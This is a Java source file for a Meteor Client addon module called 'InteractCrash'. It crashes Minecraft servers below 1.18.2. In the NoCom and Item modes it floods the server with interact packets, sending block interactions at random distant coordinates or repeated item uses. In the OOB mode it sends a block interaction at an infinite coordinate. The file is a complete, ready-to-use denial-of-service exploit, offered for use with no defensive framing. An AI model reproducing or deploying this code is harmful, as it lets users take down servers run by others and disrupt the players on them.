content: package widecat.meteorcrashaddon.modules;
  
  import meteordevelopment.meteorclient.events.world.TickEvent;
  import meteordevelopment.meteorclient.settings.EnumSetting;
  import meteordevelopment.meteorclient.settings.IntSetting;
  import meteordevelopment.meteorclient.settings.Setting;
  import meteordevelopment.meteorclient.settings.SettingGroup;
  import meteordevelopment.meteorclient.systems.modules.Module;
  import meteordevelopment.orbit.EventHandler;
  import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
  import net.minecraft.network.packet.c2s.play.PlayerInteractItemC2SPacket;
  import net.minecraft.util.Hand;
  import net.minecraft.util.hit.BlockHitResult;
  import net.minecraft.util.math.BlockPos;
  import net.minecraft.util.math.Direction;
  import net.minecraft.util.math.Vec3d;
  import widecat.meteorcrashaddon.CrashAddon;
  
  import java.util.Random;
  
  public class InteractCrash extends Module {
      private final SettingGroup sgGeneral = settings.getDefaultGroup();
  
      private final Setting<Modes> mode = sgGeneral.add(new EnumSetting.Builder<Modes>()
          .name("mode")
          .description("guh")
          .defaultValue(Modes.NoCom)
          .build());
  
      private final Setting<Integer> amount = sgGeneral.add(new IntSetting.Builder()
          .name("amount")
          .description("Packets per tick")
          .defaultValue(15)
          .min(1)
          .sliderMax(100)
          .build());
  
      public InteractCrash() {
          super(CrashAddon.CATEGORY, "interact-crash", "Works on < 1.18.2");
      }
  
      private Vec3d pickRandomPos() {
          return new Vec3d(new Random().nextInt(0xFFFFFF), 255, new Random().nextInt(0xFFFFFF));
      }
  
      @EventHandler
      private void onTick(TickEvent.Post event) {
          switch (mode.get()) {
              case NoCom -> {
                  for (int i = 0; i < amount.get(); i++) {
                  Vec3d cpos = pickRandomPos();
                  mc.getNetworkHandler().sendPacket(new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, new BlockHitResult(cpos, Direction.DOWN, BlockPos.ofFloored(cpos), false), 0));
                  }
              }
              case OOB -> {
                  Vec3d oob = new Vec3d(Double.POSITIVE_INFINITY, 255, Double.NEGATIVE_INFINITY);
                  mc.getNetworkHandler().sendPacket(new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, new BlockHitResult(oob, Direction.DOWN, BlockPos.ofFloored(oob), false), 0));
              }
              case Item -> {
                  for (int i = 0; i < amount.get(); i++) {
                      mc.getNetworkHandler().sendPacket(new PlayerInteractItemC2SPacket(Hand.MAIN_HAND, 0));
                  }
              }
          }
      }
  
      public enum Modes {
          NoCom, OOB, Item
      }
  }
  